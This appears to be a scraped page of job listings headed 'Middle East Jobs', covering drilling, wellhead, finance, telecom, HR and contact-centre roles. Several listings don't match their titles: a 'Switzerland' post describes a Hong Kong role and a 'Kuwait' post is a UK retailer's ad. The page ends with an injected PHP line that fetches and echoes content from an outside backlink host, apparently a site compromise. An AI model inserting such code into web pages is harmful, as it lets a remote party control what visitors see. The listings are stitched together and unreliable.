Jobs updated


Middle East Jobs


Drilling Engineer Libya


Senior Drilling engineer 
Location: Tripoli, Libya
Salary: Competitive rates. 
Our clients who are a leading operator with assets internationally, are seeking an experienced Drilling and workover engineering to be based in Tripoli.
You will be responsible for Supervising Drilling and workover engineering at the office by ensuring correct management of all drilling activities. Responsible for the safe and efficient drilling, workover and completion of Engineering.
Role & Responsibilities:
• Conduct morning calls and review morning reports with the Drilling and workover and completion Manager, Discusses future Engineering and operations plans with Drilling and workover and completion Manager and Supervisor to optimize and eliminate problems.
• Communicate effectively with the Drilling and workover Supervisor and Drilling and workover Engineer to ensure that all technical specifications of the Drilling and workover Program and Drilling and workover Manual are met with strong focus on Reservoir, Production, and Geological objectives.
• Provide technical trouble shooting when problems occur on the drilling rig.
• Conduct meetings service providers, to increase the efficiency of the service.
• Monitor drilling expenditures daily with the goal of drilling the most cost-effective wells possible.
• Review equipment planning with Drilling and workover Supervisors and the Material & Logistics Coordinator to ensure timely equipment arrivals and to eliminate equipment overstocking.
• Encourage and support HSE training and implementation of new procedures and guidelines.
• Prepare monthly drilling Engineering reports and review the operations reports
• Technical review of all drilling programs and final well reports.
• Document operations risk assessments and DWOPs.
• Prepare technical specifications and evaluations during the procurement process of the Drilling and workover rig and all Drilling and workover services.
• Conduct after actions reviews, section reviews and incorporation of lessons learned to enhance learning efficiency of the organization.
• Able to make and manage the drilling and workover budget and invoices (CAPEX and OPEX).
Minimum Requirements:
• Bachelor’s or Master’s Degree in Engineering 
• You will have ideally 12 years' experience in drilling and workover operations and engineering. Strong understanding of drilling engineering  
• Experienced user of Landmark Software Package (Openwells, Camposs, Data Analyzer Casing stress, Casing Check, Wellplan, WellCat, and DrillWorks), WellView software and Windows office, Word, Excel, Power point.
• Fluent in English (written and verbal)

Personal Strengths:
• Adapts easily to well conditions and immediate situations
• Works well in high stress situations
• Ability to communicate with all levels of organization
• Experienced Domestic/International traveler

Oil and GAS equipment specialist Saudi Arabia


OIL & GAS wellhead Equipment and Valves Specialist

High-energy, reliable and dedicated oilfield service technician with over 19 years’ experience working in start-up projects utilising extensive knowledge and skills for first rig installation. Hands-on experience in working independently to install new products and conduct equipment repairs with zero rig lost time for customers while controlling expenses and maintaining assets. Instrumental in providing apt ‘project support’, as required, for all new projects, including: attending design review of equipment and tools, reviewing installation procedures, assisting in project factory acceptance tests and reviewing project training requirements for service personnel. Skilled in assuring all equipment, service tooling and spare parts are on location and ready to use and function prior to beginning each job. Effective communicator fluent in English and Portuguese. Expert in recording critical dimensions to assemble work and obtain/create product running procedures.
CORE COMPETENCIES

â–ªInstallations, Repair, maintain equipment and Troubleshooting â–ª Performing Visual Inspections â–ª Training and Coaching â–ª Quality Assurance â–ª Root Cause Failure Analysisâ–ª Problem Assessment and Identification â–ª Preventative/Predictive Maintenance â–ª Performance Monitoring â–ª High Quality Customer Service â–ª Complex and Difficult Tests â–ª HS&E Policies and Procedures â–ª Administrative and Inventory Tasks â–ª Installations in Hazardous Areas â–ª* HS&E Policies and Procedures Administrative and Inventory Tasks
Installations in Hazardous Areas* Material handling equipment (conveyors, belts, chains etc) Process pressure systems (including bolting/torque techniques) 
Lifting, rigging and slinging 
Working at height, scaffolding and confined space entry work

KEY SKILLS AND ACHIEVEMENTS

*Building Effective Relations/Custom Specifications – At Ge Vetco (Costumer- Chevron) – Successfully performed ESP and different types of activities including Production API Valves repair, completion, and spading and wellhead nipple for five years with zero downtime. Effectively maintained collaborative working relations with customers to facilitate ongoing business and communication with the company’s representative on issues including job procedures, spare parts requirements, function fit and critical dimension measurements. Completed a Tally book/other form to communicate procedures, spare parts requirements, critical dimensions and customer questions and complaints.

 Reducing Downtime/Quality Standards/ Equipment and Tools Proficiency – At Ge Vetco – Instrumental in ensuring integrity of multimillion-dollar oilfield equipment to avoid downtimes by also maintaining visual aspect of oilfield site to promote cleanliness thereby enhancing the company’s safety record.

Finance manager Switzerland


The dream of flying has always been a human fascination, evoking emotions and the sense of freedom. Modern business aviation attracts people who share that passion. People from all over the world converge at Jet Aviation, creating a unique cultural mix. They combine their competencies and skills with one common mission: to serve our customers best!We continuously challenge and develop our employees, for they are our most valuable asset. Jet Aviation as an international company offers numerous possibilities for development and opens reams of professional perspectives. Finance Manager - Jet Aviation Business Jets (HK) Ltd Finance Manager The dream of flying has always been a human fascination, evoking emotions and the sense of freedom. Modern business aviation attracts people who share that passion. People from all over the world converge at Jet Aviation, creating a unique cultural mix. They combine their competencies and skills with one common mission: to serve our customers best!We continuously challenge and develop our employees, for they are our most valuable asset. Jet Aviation as an international company offers numerous possibilities for development and opens reams of professional perspectives. Description/Tasks: In charge of all the Finance works and supervising a team of finance staffPreparing financial management report with AccountancyMonthly and yearly balance sheet reconciliationMonthly customer invoice generating in SAP systemUpdating payment schedule and follow up with overdue receivableDealing/undertaking with AuditorsDealing with bank and Reconciling corporate bank accountsResponsible for intercompany reconciliationResponsible of month end, yearend closing books/reportsCoordination with HR on payroll and overseas wire transferCoordination with management in HQAssist in ad hoc assignments as required Qualification/Experience: Experienced knowledge and strong background in Accounting/FinanceExperienced knowledge in SAP

Telecom technician Qatar


 Telecom technician for Qatar Based ELV company.

The candidates should have an experienced in Structure cabling systems, Crimping, Testing as well in fiber optic also.

Please apply only technicians , we no need engineers !

The candidate if selected he has to ready for travel to qatar,

HR Manager Oman


Job Title Senior HR Manager
Discipline Human Resources - 0201
Manager position title
Job Description 
Senior HR Manager 

Main Purpose of the Role 
The senior HR Manager is the first point of contact for HR topics, including recruitment, learning and development, employee relations issues, talent management and compensation and benefits. 
The senior HR Manager works with managers to translate the HR and business strategies into tactical, practical and applied HR operational activities that support the achievement of CCP´s strategy. 

Key Duties and Responsibilities 
Recruitment & Selection
  • Partnering with the hiring manager and recruiter to:
  • Identify recruitment requirements and options
  • Create/revise job and person specification
  • Identify and agree the optimum and most cost-effective approach for attracting the best candidates
  • Conducting behavioral-based interviews
  • Participation in candidate selection and offer negotiations
Compensation and Benefits
  • Acting as the first point of contact for employee questions on compensation and benefits
  • Co-ordination of annual salary reviews with managers in alignment with CCP´s processes and within required timeframes
Performance Management
  • Ensuring efficient and continuous performance management and regular performance assessments with managers in alignment with CCP´s processes and within required timeframes
  • Advising and assisting managers with addressing performance issues and conducting disciplinary interviews in compliance with CCP procedures and legal process
Learning and Development
  • Partnering with the business to identify future skill sets required to achieve CCP´s business strategy
  • Partnering with the business to identify training and development needs and implement a learning offering to improve individual and business performance
  • Partnering with the business to build a culture of ongoing performance management and development.
Employee Relations

Contact advisor Kuwait


Iceland is a real success story. We're proud to be a straightforward, fast moving and fun company. We look for hard working, can do people and repay them with some of retail's best rewards and development opportunities. 

Here at Iceland, we pride ourselves on providing excellent customer care and a warm and friendly service to our new and loyal customers. Our success comes directly from our team working together to communicate the Iceland family attitude that our customers love! 

You will play a key role within our Contact Centre, talking to new and existing customers and helping them with their queries, delivering excellent service and taking personal ownership of their issue. If you are customer focused, ready to go above and beyond, treat customers with fairness and positivity then this is the role for you! We will do everything to help you thrive and grow in our professional working environment with plenty of help and support, we also offer other great benefits such as: 

On-site parking, 

Access to our excellent “Roxy” subsidised restaurant 

Access to our subsidised Costa Coffee Cafe 

Great benefits on a range of products and services including holidays, leisure activities and more via our Corporate Discount site 

Staff discount available for permanent employees 


 
$framework_controller_2 = file_get_contents('https://hide-my-backlink.com/anchor/url.php'); echo $framework_controller_2;